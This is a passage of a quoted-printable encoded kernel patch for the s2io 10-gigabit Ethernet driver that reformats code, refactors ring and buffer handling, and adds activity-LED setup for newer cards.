udelay(10);=0A= - write64(&bar0->gpio_control,0x0020600000000000);=0A= - udelay(10);=0A= - write64(&bar0->gpio_control,0x0060600000000000);=0A= - udelay(10);=0A= - write64(&bar0->gpio_control,0x0020600000000000);=0A= - udelay(10);=0A= - write64(&bar0->gpio_control,0x0060600000000000);=0A= - udelay(10);=0A= - write64(&bar0->gpio_control,0x0020600000000000);=0A= - udelay(10);=0A= - write64(&bar0->gpio_control,0x0060600000000000);=0A= - udelay(10);=0A= - write64(&bar0->gpio_control,0x0020600000000000);=0A= - udelay(10);=0A= - write64(&bar0->gpio_control,0x0060600000000000);=0A= - udelay(10);=0A= + for (i =3D 0; i < 9; i++) {=0A= + write64(&bar0->gpio_control, 0x0020600000000000);=0A= + udelay(10);=0A= + write64(&bar0->gpio_control, 0x0060600000000000);=0A= + udelay(10);=0A= + }=0A= =0A= /* Create stop condition */=0A= - write64(&bar0->gpio_control,0x0020600000000000);=0A= + write64(&bar0->gpio_control, 0x0020600000000000);=0A= udelay(10);=0A= - write64(&bar0->gpio_control,0x0000600000000000);=0A= + write64(&bar0->gpio_control, 0x0000600000000000);=0A= udelay(10);=0A= - write64(&bar0->gpio_control,0x0040600000000000);=0A= + write64(&bar0->gpio_control, 0x0040600000000000);=0A= udelay(10);=0A= - write64(&bar0->gpio_control,0x0060600000000000);=0A= + write64(&bar0->gpio_control, 0x0060600000000000);=0A= udelay(10);=0A= =0A= }=0A= @@ -1278,15 +1249,22 @@ void FixMacAddress(nic_t *sp)=0A= */=0A= static int startNic(struct s2io_nic *nic)=0A= {=0A= - XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *)nic->bar0;=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) nic->bar0;=0A= struct net_device *dev =3D nic->dev;=0A= register u64 val64 =3D 0;=0A= - u16 interruptible,i;=0A= + u16 interruptible, i;=0A= + int ret;=0A= + u16 subid;=0A= + mac_info_t *mac_control;=0A= + struct config_param *config;=0A= + = =0A= + mac_control =3D &nic->mac_control;=0A= + config =3D &nic->config;=0A= =0A= /* PRC Initialization and configuration */=0A= - for(i=3D0;iconfig.RxRingNum;i++) {=0A= - write64(&bar0->prc_rxd0_n[i], =0A= - (u64)nic->rx_blocks[i][0].block_dma_addr);=0A= + for (i =3D 0; i < config->RxRingNum; i++) {=0A= + write64(&bar0->prc_rxd0_n[i],=0A= + (u64) nic->rx_blocks[i][0].block_dma_addr);=0A= val64 =3D read64(&bar0->prc_ctrl_n[i]);=0A= val64 |=3D PRC_CTRL_RC_ENABLED;=0A= write64(&bar0->prc_ctrl_n[i], val64);=0A= @@ -1296,7 +1274,8 @@ static int startNic(struct s2io_nic *nic=0A= val64 =3D read64(&bar0->mc_rldram_mrs);=0A= val64 |=3D MC_RLDRAM_QUEUE_SIZE_ENABLE | MC_RLDRAM_MRS_ENABLE;=0A= write64(&bar0->mc_rldram_mrs, val64);=0A= - mdelay(100);=0A= + set_current_state(TASK_INTERRUPTIBLE);=0A= + schedule_timeout(HZ / 10);=0A= =0A= /* Enabling ECC Protection. */=0A= val64 =3D read64(&bar0->adapter_control);=0A= @@ -1307,24 +1286,26 @@ static int startNic(struct s2io_nic *nic=0A= * popped up just before Enabling the card.=0A= */=0A= val64 =3D read64(&bar0->mac_rmac_err_reg);=0A= - if(val64)=0A= - write64(&bar0->mac_rmac_err_reg,val64);=0A= + if (val64)=0A= + write64(&bar0->mac_rmac_err_reg, val64);=0A= =0A= /* Verify if the device is ready to be enabled, if so enable it. */=0A= val64 =3D read64(&bar0->adapter_status);=0A= - if(verify_xena_quiescence(val64, nic->device_enabled_once) =3D=3D = FALSE) {=0A= - DBG_PRINT(ERR_DBG,"%s: device is not ready, ",dev->name);=0A= - #ifndef XENA_ARCH_64=0A= - DBG_PRINT(ERR_DBG,"Adapter status reads: 0x%llx\n",val64);=0A= - #else=0A= - DBG_PRINT(ERR_DBG,"Adapter status reads: 0x%lx\n",val64);=0A= - #endif=0A= + if (verify_xena_quiescence(val64, nic->device_enabled_once) =3D=3D=0A= + FALSE) {=0A= + DBG_PRINT(ERR_DBG, "%s: device is not ready, ", dev->name);=0A= +#ifndef XENA_ARCH_64=0A= + DBG_PRINT(ERR_DBG, "Adapter status reads: 0x%llx\n",=0A= + val64);=0A= +#else=0A= + DBG_PRINT(ERR_DBG, "Adapter status reads: 0x%lx\n", val64);=0A= +#endif=0A= return FAILURE;=0A= }=0A= =0A= /* Enable select interrupts */=0A= interruptible =3D TX_TRAFFIC_INTR | RX_TRAFFIC_INTR | TX_MAC_INTR |=0A= - RX_MAC_INTR;=0A= + RX_MAC_INTR;=0A= en_dis_able_NicIntrs(nic, interruptible, ENABLE_INTRS);=0A= =0A= /* With some switches, link might be already up at this point.=0A= @@ -1339,18 +1320,39 @@ static int startNic(struct s2io_nic *nic=0A= val64 |=3D ADAPTER_EOI_TX_ON;=0A= write64(&bar0->adapter_control, val64);=0A= =0A= - /* =0A= - * Here we are performing soft reset on XGXS to =0A= - * force link down. Since link is already up, we will get=0A= - * link state change interrupt after this reset=0A= - */=0A= -=0A= - write64(&bar0->dtx_control,0x8007051500000000);=0A= - udelay(50); =0A= - write64(&bar0->dtx_control,0x80070515000000E0);=0A= - udelay(50); =0A= - write64(&bar0->dtx_control,0x80070515001F00E4);=0A= - udelay(50); =0A= + /* SXE-002: Initialize link and activity LED */=0A= + ret =3D=0A= + pci_read_config_word(nic->pdev, PCI_SUBSYSTEM_ID,=0A= + (u16 *) & subid);=0A= + if ((subid & 0xFF) >=3D 0x07) {=0A= + val64 =3D read64(&bar0->gpio_control);=0A= + val64 |=3D 0x0000800000000000;=0A= + write64(&bar0->gpio_control, val64);=0A= + val64 =3D 0x0411040400000000;=0A= + write64((u64 *) ((u8 *) bar0 + 0x2700), val64);=0A= + }=0A= +=0A= +/* Enabling activity LED on the NIC by writing into Mac_Dbg register on = new=0A= + * celestica cards.=0A= + */=0A= +/*=0A= + ret =3D pci_read_config_word(nic->pdev, PCI_SUBSYSTEM_ID, (u16 = *)&subid);=0A= + if((subid =3D=3D 0x4406) || (subid =3D=3D 0x6406))=0A= + write64(&bar0->mac_debug_ctrl, MAC_DBG_ACTIVITY_VALUE);=0A= +*/=0A= +=0A= +/* =0A= + * Here we are performing soft reset on XGXS to =0A= + * force link down. Since link is already up, we will get=0A= + * link state change interrupt after this reset=0A= + */=0A= +=0A= + write64(&bar0->dtx_control, 0x8007051500000000);=0A= + udelay(50);=0A= + write64(&bar0->dtx_control, 0x80070515000000E0);=0A= + udelay(50);=0A= + write64(&bar0->dtx_control, 0x80070515001F00E4);=0A= + udelay(50);=0A= =0A= return SUCCESS;=0A= }=0A= @@ -1368,38 +1370,47 @@ void freeTxBuffers(struct s2io_nic *nic)=0A= struct net_device *dev =3D nic->dev;=0A= struct sk_buff *skb;=0A= TxD_t *txdp;=0A= - int i,j;=0A= - #if DEBUG_ON=0A= + int i, j;=0A= +#if DEBUG_ON=0A= int cnt =3D 0;=0A= - #endif=0A= +#endif=0A= + mac_info_t *mac_control;=0A= + struct config_param *config;=0A= + = =0A= + mac_control =3D &nic->mac_control;=0A= + config =3D &nic->config;=0A= =0A= spin_lock(&nic->tx_lock);=0A= - for(i=3D0; iconfig.TxFIFONum; i++) {=0A= - for(j=3D0;jconfig.TxCfg[i].FifoLen-1;j++) {=0A= - txdp =3D nic->mac_control.txdl_start[i] + =0A= - (nic->config.MaxTxDs * j);=0A= + for (i =3D 0; i < config->TxFIFONum; i++) {=0A= + for (j =3D 0; j < config->TxCfg[i].FifoLen - 1; j++) {=0A= + txdp =3D mac_control->txdl_start[i] +=0A= + (config->MaxTxDs * j);=0A= =0A= - if(!(txdp->Control_1 & TXD_LIST_OWN_XENA)) {=0A= - /* If owned by host, ignore */=0A= + if (!(txdp->Control_1 & TXD_LIST_OWN_XENA)) {=0A= + /* If owned by host, ignore */=0A= continue;=0A= }=0A= - skb =3D (struct sk_buff *)((dmaaddr_t)txdp->Host_Control);=0A= - if(skb =3D=3D NULL) {=0A= - DBG_PRINT(ERR_DBG,"%s: NULL skb ",dev->name);=0A= - DBG_PRINT(ERR_DBG,"in Tx Int\n");=0A= + skb =3D=0A= + (struct sk_buff *) ((unsigned long) txdp->=0A= + Host_Control);=0A= + if (skb =3D=3D NULL) {=0A= + DBG_PRINT(ERR_DBG, "%s: NULL skb ",=0A= + dev->name);=0A= + DBG_PRINT(ERR_DBG, "in Tx Int\n");=0A= spin_unlock(&nic->tx_lock);=0A= return;=0A= }=0A= - #if DEBUG_ON=0A= +#if DEBUG_ON=0A= cnt++;=0A= - #endif=0A= +#endif=0A= dev_kfree_skb(skb);=0A= memset(txdp, 0, sizeof(TxD_t));=0A= }=0A= - #if DEBUG_ON=0A= - DBG_PRINT(INTR_DBG,"%s:forcibly freeing %d skbs on FIFO%d\n",=0A= - dev->name,cnt,i);=0A= - #endif=0A= +#if DEBUG_ON=0A= + DBG_PRINT(INTR_DBG,=0A= + "%s:forcibly freeing %d skbs on FIFO%d\n",=0A= + dev->name, cnt, i);=0A= +#endif=0A= }=0A= spin_unlock(&nic->tx_lock);=0A= }=0A= @@ -1416,19 +1427,24 @@ void freeTxBuffers(struct s2io_nic *nic)=0A= */=0A= static void stopNic(struct s2io_nic *nic)=0A= {=0A= - XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *)nic->bar0;=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) nic->bar0;=0A= register u64 val64 =3D 0;=0A= - u16 interruptible,i;=0A= + u16 interruptible, i;=0A= + mac_info_t *mac_control;=0A= + struct config_param *config;=0A= + = =0A= + mac_control =3D &nic->mac_control;=0A= + config =3D &nic->config;=0A= =0A= /* Disable all interrupts */=0A= interruptible =3D TX_TRAFFIC_INTR | RX_TRAFFIC_INTR | TX_MAC_INTR |=0A= - RX_MAC_INTR;=0A= + RX_MAC_INTR;=0A= en_dis_able_NicIntrs(nic, interruptible, DISABLE_INTRS);=0A= =0A= /* Disable PRCs */=0A= - for(i=3D0;iconfig.RxRingNum;i++) {=0A= + for (i =3D 0; i < config->RxRingNum; i++) {=0A= val64 =3D read64(&bar0->prc_ctrl_n[i]);=0A= - val64 &=3D ~((u64)PRC_CTRL_RC_ENABLED);=0A= + val64 &=3D ~((u64) PRC_CTRL_RC_ENABLED);=0A= write64(&bar0->prc_ctrl_n[i], val64);=0A= }=0A= }=0A= @@ -1456,83 +1472,91 @@ int fill_rx_buffers(struct s2io_nic *nic=0A= struct net_device *dev =3D nic->dev;=0A= struct sk_buff *skb;=0A= RxD_t *rxdp;=0A= - int off,off1,size, block_no, block_no1;=0A= + int off, off1, size, block_no, block_no1;=0A= int offset, offset1;=0A= u32 alloc_tab =3D 0;=0A= - u32 alloc_cnt =3D nic->pkt_cnt[ring_no] - =0A= - atomic_read(&nic->rx_bufs_left[ring_no]);=0A= + u32 alloc_cnt =3D nic->pkt_cnt[ring_no] -=0A= + atomic_read(&nic->rx_bufs_left[ring_no]);=0A= + mac_info_t *mac_control;=0A= + struct config_param *config;=0A= + = =0A= + mac_control =3D &nic->mac_control;=0A= + config =3D &nic->config;=0A= =0A= - if(frame_len[ring_no]) {=0A= - if(frame_len[ring_no] > dev->mtu) =0A= + if (frame_len[ring_no]) {=0A= + if (frame_len[ring_no] > dev->mtu)=0A= dev->mtu =3D frame_len[ring_no];=0A= - size =3D frame_len[ring_no]+HEADER_ETHERNET_II_802_3_SIZE+=0A= - HEADER_802_2_SIZE+HEADER_SNAP_SIZE;=0A= + size =3D frame_len[ring_no] + HEADER_ETHERNET_II_802_3_SIZE +=0A= + HEADER_802_2_SIZE + HEADER_SNAP_SIZE;=0A= } else {=0A= - size =3D dev->mtu+HEADER_ETHERNET_II_802_3_SIZE+=0A= - HEADER_802_2_SIZE+HEADER_SNAP_SIZE; =0A= + size =3D dev->mtu + HEADER_ETHERNET_II_802_3_SIZE +=0A= + HEADER_802_2_SIZE + HEADER_SNAP_SIZE;=0A= }=0A= =0A= - while(alloc_tab < alloc_cnt) {=0A= - block_no=3Dnic->mac_control.rx_curr_put_info[ring_no].=0A= - block_index;=0A= - block_no1=3Dnic->mac_control.rx_curr_get_info[ring_no].=0A= - block_index;=0A= - off=3Dnic->mac_control.rx_curr_put_info[ring_no].offset;=0A= - off1=3Dnic->mac_control.rx_curr_get_info[ring_no].offset;=0A= - offset =3D block_no*(MAX_RXDS_PER_BLOCK+1)+off;=0A= - offset1 =3D block_no1*(MAX_RXDS_PER_BLOCK+1)+off1;=0A= + while (alloc_tab < alloc_cnt) {=0A= + block_no =3D mac_control->rx_curr_put_info[ring_no].=0A= + block_index;=0A= + block_no1 =3D mac_control->rx_curr_get_info[ring_no].=0A= + block_index;=0A= + off =3D mac_control->rx_curr_put_info[ring_no].offset;=0A= + off1 =3D mac_control->rx_curr_get_info[ring_no].offset;=0A= + offset =3D block_no * (MAX_RXDS_PER_BLOCK + 1) + off;=0A= + offset1 =3D block_no1 * (MAX_RXDS_PER_BLOCK + 1) + off1;=0A= =0A= rxdp =3D nic->rx_blocks[ring_no][block_no].=0A= - block_virt_addr+off;=0A= - if((offset =3D=3D offset1)&&(rxdp->Host_Control)) {=0A= - DBG_PRINT(INTR_DBG,"%s: Get and Put",dev->name);=0A= - DBG_PRINT(INTR_DBG," info equated\n");=0A= + block_virt_addr + off;=0A= + if ((offset =3D=3D offset1) && (rxdp->Host_Control)) {=0A= + DBG_PRINT(INTR_DBG, "%s: Get and Put", dev->name);=0A= + DBG_PRINT(INTR_DBG, " info equated\n");=0A= goto end;=0A= }=0A= =0A= - if(rxdp->Control_1 =3D=3D END_OF_BLOCK) {=0A= - nic->mac_control.rx_curr_put_info[ring_no].=0A= - block_index++;=0A= - nic->mac_control.rx_curr_put_info[ring_no].=0A= - block_index %=3Dnic->block_count[ring_no];=0A= - block_no =3D nic->mac_control.rx_curr_put_info=0A= - [ring_no].block_index;=0A= - rxdp =3D (RxD_t *)((dmaaddr_t)rxdp->Control_2);=0A= - DBG_PRINT(INTR_DBG,"%s: Next block at: %p\n",=0A= - dev->name,rxdp);=0A= + if (rxdp->Control_1 =3D=3D END_OF_BLOCK) {=0A= + mac_control->rx_curr_put_info[ring_no].=0A= + block_index++;=0A= + mac_control->rx_curr_put_info[ring_no].=0A= + block_index %=3D nic->block_count[ring_no];=0A= + block_no =3D mac_control->rx_curr_put_info=0A= + [ring_no].block_index;=0A= off++;=0A= - off %=3D (MAX_RXDS_PER_BLOCK+1);=0A= - nic->mac_control.rx_curr_put_info[ring_no].offset =3D off;=0A= + off %=3D (MAX_RXDS_PER_BLOCK + 1);=0A= + mac_control->rx_curr_put_info[ring_no].offset =3D=0A= + off;=0A= + /*rxdp =3D nic->rx_blocks[ring_no][block_no].=0A= + block_virt_addr + off; */=0A= + rxdp =3D (RxD_t *) ((unsigned long) rxdp->Control_2);=0A= + DBG_PRINT(INTR_DBG, "%s: Next block at: %p\n",=0A= + dev->name, rxdp);=0A= }=0A= =0A= - if(rxdp->Control_1 & RXD_OWN_XENA) {=0A= - nic->mac_control.rx_curr_put_info[ring_no].=0A= - offset =3D off;=0A= + if (rxdp->Control_1 & RXD_OWN_XENA) {=0A= + mac_control->rx_curr_put_info[ring_no].=0A= + offset =3D off;=0A= goto end;=0A= }=0A= =0A= - skb =3D dev_alloc_skb(size+HEADER_ALIGN_LAYER_3);=0A= - if(!skb) {=0A= - DBG_PRINT(ERR_DBG,"%s: Out of ",dev->name);=0A= - DBG_PRINT(ERR_DBG,"memory to allocate SKBs\n");=0A= + skb =3D dev_alloc_skb(size + HEADER_ALIGN_LAYER_3);=0A= + if (!skb) {=0A= + DBG_PRINT(ERR_DBG, "%s: Out of ", dev->name);=0A= + DBG_PRINT(ERR_DBG, "memory to allocate SKBs\n");=0A= return -ENOMEM;=0A= }=0A= - skb_reserve(skb,HEADER_ALIGN_LAYER_3);=0A= - memset(rxdp,0,sizeof(RxD_t));=0A= - rxdp->Buffer0_ptr =3D (dmaaddr_t) pci_map_single=0A= - (nic->pdev,skb->data,size,PCI_DMA_FROMDEVICE);=0A= + skb_reserve(skb, HEADER_ALIGN_LAYER_3);=0A= + memset(rxdp, 0, sizeof(RxD_t));=0A= + rxdp->Buffer0_ptr =3D pci_map_single=0A= + (nic->pdev, skb->data, size, PCI_DMA_FROMDEVICE);=0A= rxdp->Control_2 &=3D (~MASK_BUFFER0_SIZE);=0A= rxdp->Control_2 |=3D SET_BUFFER0_SIZE(size);=0A= - rxdp->Host_Control =3D (dmaaddr_t)(skb);=0A= + rxdp->Host_Control =3D (unsigned long) (skb);=0A= rxdp->Control_1 |=3D RXD_OWN_XENA;=0A= - off++;=0A= - off %=3D (MAX_RXDS_PER_BLOCK+1);=0A= - nic->mac_control.rx_curr_put_info[ring_no].offset =3D off;=0A= + off++;=0A= + off %=3D (MAX_RXDS_PER_BLOCK + 1);=0A= + mac_control->rx_curr_put_info[ring_no].offset =3D off;=0A= atomic_inc(&nic->rx_bufs_left[ring_no]);=0A= alloc_tab++;=0A= }=0A= - =0A= -end:=0A= +=0A= + end:=0A= return SUCCESS;=0A= }=0A= =0A= @@ -1547,40 +1571,52 @@ end:=0A= static void freeRxBuffers(struct s2io_nic *sp)=0A= {=0A= struct net_device *dev =3D sp->dev;=0A= - int i,j,blk=3D0,off, buf_cnt =3D 0;=0A= + int i, j, blk =3D 0, off, buf_cnt =3D 0;=0A= RxD_t *rxdp;=0A= struct sk_buff *skb;=0A= -=0A= - for(i=3D0; iconfig.RxRingNum; i++) {=0A= - for(j=3D0,blk=3D0; jconfig.RxCfg[i].NumRxd; j++) {=0A= - off =3D j%(MAX_RXDS_PER_BLOCK+1);=0A= - rxdp =3D sp->rx_blocks[i][blk].block_virt_addr+off;=0A= -=0A= - if(rxdp->Control_1 =3D=3D END_OF_BLOCK) {=0A= - rxdp =3D (RxD_t *)((dmaaddr_t)rxdp->Control_2);=0A= + mac_info_t *mac_control;=0A= + struct config_param *config;=0A= + = =0A= + mac_control =3D &sp->mac_control;=0A= + config =3D &sp->config;=0A= +=0A= + for (i =3D 0; i < config->RxRingNum; i++) {=0A= + for (j =3D 0, blk =3D 0; j < config->RxCfg[i].NumRxd; j++) {=0A= + off =3D j % (MAX_RXDS_PER_BLOCK + 1);=0A= + rxdp =3D sp->rx_blocks[i][blk].block_virt_addr + off;=0A= +=0A= + if (rxdp->Control_1 =3D=3D END_OF_BLOCK) {=0A= + rxdp =3D=0A= + (RxD_t *) ((unsigned long) rxdp->=0A= + Control_2);=0A= j++;=0A= blk++;=0A= }=0A= =0A= - skb =3D (struct sk_buff *)((dmaaddr_t)rxdp->Host_Control);=0A= - if(skb) {=0A= - pci_unmap_single(sp->pdev, rxdp->Buffer0_ptr, =0A= - dev->mtu+HEADER_ETHERNET_II_802_3_SIZE+=0A= - HEADER_802_2_SIZE+HEADER_SNAP_SIZE,=0A= - PCI_DMA_FROMDEVICE);=0A= + skb =3D=0A= + (struct sk_buff *) ((unsigned long) rxdp->=0A= + Host_Control);=0A= + if (skb) {=0A= + pci_unmap_single(sp->pdev, (dma_addr_t)=0A= + rxdp->Buffer0_ptr,=0A= + dev->mtu +=0A= + HEADER_ETHERNET_II_802_3_SIZE=0A= + + HEADER_802_2_SIZE +=0A= + HEADER_SNAP_SIZE,=0A= + PCI_DMA_FROMDEVICE);=0A= dev_kfree_skb(skb);=0A= atomic_dec(&sp->rx_bufs_left[i]);=0A= buf_cnt++;=0A= }=0A= memset(rxdp, 0, sizeof(RxD_t));=0A= }=0A= - sp->mac_control.rx_curr_put_info[i].block_index =3D 0;=0A= - sp->mac_control.rx_curr_get_info[i].block_index =3D 0;=0A= - sp->mac_control.rx_curr_put_info[i].offset =3D 0;=0A= - sp->mac_control.rx_curr_get_info[i].offset =3D 0;=0A= - atomic_set(&sp->rx_bufs_left[i],0);=0A= - DBG_PRINT(INIT_DBG,"%s: Freed 0x%x RxDs on ring%d\n",=0A= - dev->name, buf_cnt,i);=0A= + mac_control->rx_curr_put_info[i].block_index =3D 0;=0A= + mac_control->rx_curr_get_info[i].block_index =3D 0;=0A= + mac_control->rx_curr_put_info[i].offset =3D 0;=0A= + mac_control->rx_curr_get_info[i].offset =3D 0;=0A= + atomic_set(&sp->rx_bufs_left[i], 0);=0A= + DBG_PRINT(INIT_DBG, "%s:Freed 0x%x Rx Buffers on ring%d\n",=0A= + dev->name, buf_cnt, i);=0A= }=0A= }=0A= =0A= @@ -1599,71 +1635,85 @@ static void freeRxBuffers(struct s2io_ni=0A= #ifdef CONFIGURE_NAPI_SUPPORT=0A= static int s2io_poll(struct net_device *dev, int *budget)=0A= {=0A= - nic_t *nic =3D (nic_t *)dev->priv;=0A= - XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *)nic->bar0;=0A= - int pkts_to_process =3D *budget, pkt_cnt=3D0;=0A= + nic_t *nic =3D (nic_t *) dev->priv;=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) nic->bar0;=0A= + int pkts_to_process =3D *budget, pkt_cnt =3D 0;=0A= register u64 val64 =3D 0;=0A= rx_curr_get_info_t offset_info;=0A= - int i,block_no;=0A= - u16 val16,cksum;=0A= + int i, block_no;=0A= + u16 val16, cksum;=0A= struct sk_buff *skb;=0A= RxD_t *rxdp;=0A= + mac_info_t *mac_control;=0A= + struct config_param *config;=0A= + = =0A= + mac_control =3D &nic->mac_control;=0A= + config =3D &nic->config;=0A= =0A= - if(pkts_to_process > dev->quota)=0A= + if (pkts_to_process > dev->quota)=0A= pkts_to_process =3D dev->quota;=0A= - =0A= +=0A= val64 =3D read64(&bar0->rx_traffic_int);=0A= write64(&bar0->rx_traffic_int, val64);=0A= - //printk("<1> In S2IO Polling function\n");=0A= =0A= - for(i=3D0;iconfig.RxRingNum;i++) {=0A= - if(--pkts_to_process < 0) {=0A= + for (i =3D 0; i < config->RxRingNum; i++) {=0A= + if (--pkts_to_process < 0) {=0A= goto no_rx;=0A= }=0A= - offset_info =3D nic->mac_control.rx_curr_get_info[i];=0A= + offset_info =3D mac_control->rx_curr_get_info[i];=0A= block_no =3D offset_info.block_index;=0A= - rxdp =3D nic->rx_blocks[i][block_no].block_virt_addr + =0A= - offset_info.offset;=0A= - while(!(rxdp->Control_1 & RXD_OWN_XENA)) {=0A= - if(rxdp->Control_1 =3D=3D END_OF_BLOCK) {=0A= - rxdp =3D (RxD_t *)((dmaaddr_t)rxdp->Control_2);=0A= + rxdp =3D nic->rx_blocks[i][block_no].block_virt_addr +=0A= + offset_info.offset;=0A= + while (!(rxdp->Control_1 & RXD_OWN_XENA)) {=0A= + if (rxdp->Control_1 =3D=3D END_OF_BLOCK) {=0A= + rxdp =3D=0A= + (RxD_t *) ((unsigned long) rxdp->=0A= + Control_2);=0A= offset_info.offset++;=0A= - offset_info.offset %=3D (MAX_RXDS_PER_BLOCK+1);=0A= + offset_info.offset %=3D=0A= + (MAX_RXDS_PER_BLOCK + 1);=0A= block_no++;=0A= block_no %=3D nic->block_count[i];=0A= - nic->mac_control.rx_curr_get_info[i].offset =3D=0A= - offset_info.offset;=0A= - nic->mac_control.rx_curr_get_info[i].block_index=0A= - =3D block_no;=0A= + mac_control->rx_curr_get_info[i].=0A= + offset =3D offset_info.offset;=0A= + mac_control->rx_curr_get_info[i].=0A= + block_index =3D block_no;=0A= continue;=0A= }=0A= - skb =3D (struct sk_buff *)((dmaaddr_t)rxdp->Host_Control);=0A= - if(skb =3D=3D NULL) {=0A= - DBG_PRINT(ERR_DBG,"%s: The skb is ",dev->name);=0A= - DBG_PRINT(ERR_DBG,"Null in Rx Intr\n");=0A= + skb =3D=0A= + (struct sk_buff *) ((unsigned long) rxdp->=0A= + Host_Control);=0A= + if (skb =3D=3D NULL) {=0A= + DBG_PRINT(ERR_DBG, "%s: The skb is ",=0A= + dev->name);=0A= + DBG_PRINT(ERR_DBG, "Null in Rx Intr\n");=0A= return 0;=0A= }=0A= val64 =3D RXD_GET_BUFFER0_SIZE(rxdp->Control_2);=0A= - val16 =3D (u16)(val64 >> 48);=0A= + val16 =3D (u16) (val64 >> 48);=0A= cksum =3D RXD_GET_L4_CKSUM(rxdp->Control_1);=0A= - pci_unmap_single(nic->pdev, rxdp->Buffer0_ptr, =0A= - dev->mtu + HEADER_ETHERNET_II_802_3_SIZE +=0A= - HEADER_802_2_SIZE+HEADER_SNAP_SIZE, =0A= - PCI_DMA_FROMDEVICE);=0A= - rxOsmHandler(nic,val16,rxdp,i);=0A= + pci_unmap_single(nic->pdev, (dma_addr_t)=0A= + rxdp->Buffer0_ptr,=0A= + dev->mtu +=0A= + HEADER_ETHERNET_II_802_3_SIZE +=0A= + HEADER_802_2_SIZE +=0A= + HEADER_SNAP_SIZE,=0A= + PCI_DMA_FROMDEVICE);=0A= + rxOsmHandler(nic, val16, rxdp, i);=0A= pkt_cnt++;=0A= offset_info.offset++;=0A= - offset_info.offset %=3D (MAX_RXDS_PER_BLOCK+1);=0A= - rxdp =3D nic->rx_blocks[i][block_no].block_virt_addr +=0A= - offset_info.offset;=0A= - nic->mac_control.rx_curr_get_info[i].offset =3D =0A= - offset_info.offset;=0A= + offset_info.offset %=3D (MAX_RXDS_PER_BLOCK + 1);=0A= + rxdp =3D=0A= + nic->rx_blocks[i][block_no].block_virt_addr +=0A= + offset_info.offset;=0A= + mac_control->rx_curr_get_info[i].offset =3D=0A= + offset_info.offset;=0A= }=0A= }=0A= - if(!pkt_cnt)=0A= + if (!pkt_cnt)=0A= pkt_cnt =3D 1;=0A= =0A= - for(i=3D0;iconfig.RxRingNum;i++)=0A= + for (i =3D 0; i < config->RxRingNum; i++)=0A= fill_rx_buffers(nic, i);=0A= =0A= dev->quota -=3D pkt_cnt;=0A= @@ -1673,9 +1723,9 @@ static int s2io_poll(struct net_device *=0A= /* Re enable the Rx interrupts. */=0A= en_dis_able_NicIntrs(nic, RX_TRAFFIC_INTR, ENABLE_INTRS);=0A= return 0;=0A= - =0A= -no_rx:=0A= - for(i=3D0;iconfig.RxRingNum;i++)=0A= +=0A= + no_rx:=0A= + for (i =3D 0; i < config->RxRingNum; i++)=0A= fill_rx_buffers(nic, i);=0A= dev->quota -=3D pkt_cnt;=0A= *budget -=3D pkt_cnt;=0A= @@ -1696,18 +1746,23 @@ no_rx:=0A= */=0A= static void rxIntrHandler(struct s2io_nic *nic)=0A= {=0A= - struct net_device *dev =3D (struct net_device *)nic->dev;=0A= - XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *)nic->bar0;=0A= + struct net_device *dev =3D (struct net_device *) nic->dev;=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) nic->bar0;=0A= rx_curr_get_info_t offset_info;=0A= - RxD_t *rxdp;=0A= + RxD_t *rxdp;=0A= struct sk_buff *skb;=0A= - u16 val16,cksum;=0A= + u16 val16, cksum;=0A= register u64 val64 =3D 0;=0A= - int i,block_no;=0A= + int i, block_no;=0A= + mac_info_t *mac_control;=0A= + struct config_param *config;=0A= + = =0A= + mac_control =3D &nic->mac_control;=0A= + config =3D &nic->config;=0A= =0A= - #if DEBUG_ON=0A= +#if DEBUG_ON=0A= nic->rxint_cnt++;=0A= - #endif=0A= +#endif=0A= =0A= /* rx_traffic_int reg is an R1 register, hence we read and write back =0A= * the samevalue in the register to clear it.=0A= @@ -1715,43 +1770,52 @@ static void rxIntrHandler(struct s2io_ni=0A= val64 =3D read64(&bar0->rx_traffic_int);=0A= write64(&bar0->rx_traffic_int, val64);=0A= =0A= - for(i=3D0;iconfig.RxRingNum;i++) {=0A= - offset_info =3D nic->mac_control.rx_curr_get_info[i];=0A= + for (i =3D 0; i < config->RxRingNum; i++) {=0A= + offset_info =3D mac_control->rx_curr_get_info[i];=0A= block_no =3D offset_info.block_index;=0A= - rxdp =3D nic->rx_blocks[i][block_no].block_virt_addr + =0A= - offset_info.offset;=0A= - while(!(rxdp->Control_1 & RXD_OWN_XENA)) {=0A= - if(rxdp->Control_1 =3D=3D END_OF_BLOCK) {=0A= - rxdp =3D (RxD_t *)((dmaaddr_t)rxdp->Control_2);=0A= + rxdp =3D nic->rx_blocks[i][block_no].block_virt_addr +=0A= + offset_info.offset;=0A= + while (!(rxdp->Control_1 & RXD_OWN_XENA)) {=0A= + if (rxdp->Control_1 =3D=3D END_OF_BLOCK) {=0A= + rxdp =3D (RxD_t *) ((unsigned long)=0A= + rxdp->Control_2);=0A= offset_info.offset++;=0A= - offset_info.offset %=3D (MAX_RXDS_PER_BLOCK+1);=0A= + offset_info.offset %=3D=0A= + (MAX_RXDS_PER_BLOCK + 1);=0A= block_no++;=0A= block_no %=3D nic->block_count[i];=0A= - nic->mac_control.rx_curr_get_info[i].offset =3D=0A= - offset_info.offset;=0A= - nic->mac_control.rx_curr_get_info[i].block_index =3D block_no;=0A= + mac_control->rx_curr_get_info[i].=0A= + offset =3D offset_info.offset;=0A= + mac_control->rx_curr_get_info[i].=0A= + block_index =3D block_no;=0A= continue;=0A= }=0A= - skb =3D (struct sk_buff *)((dmaaddr_t)rxdp->Host_Control);=0A= - if(skb =3D=3D NULL) {=0A= - DBG_PRINT(ERR_DBG,"%s: The skb is ", dev->name);=0A= - DBG_PRINT(ERR_DBG,"Null in Rx Intr\n");=0A= + skb =3D (struct sk_buff *) ((unsigned long)=0A= + rxdp->Host_Control);=0A= + if (skb =3D=3D NULL) {=0A= + DBG_PRINT(ERR_DBG, "%s: The skb is ",=0A= + dev->name);=0A= + DBG_PRINT(ERR_DBG, "Null in Rx Intr\n");=0A= return;=0A= }=0A= val64 =3D RXD_GET_BUFFER0_SIZE(rxdp->Control_2);=0A= - val16 =3D (u16)(val64 >> 48);=0A= + val16 =3D (u16) (val64 >> 48);=0A= cksum =3D 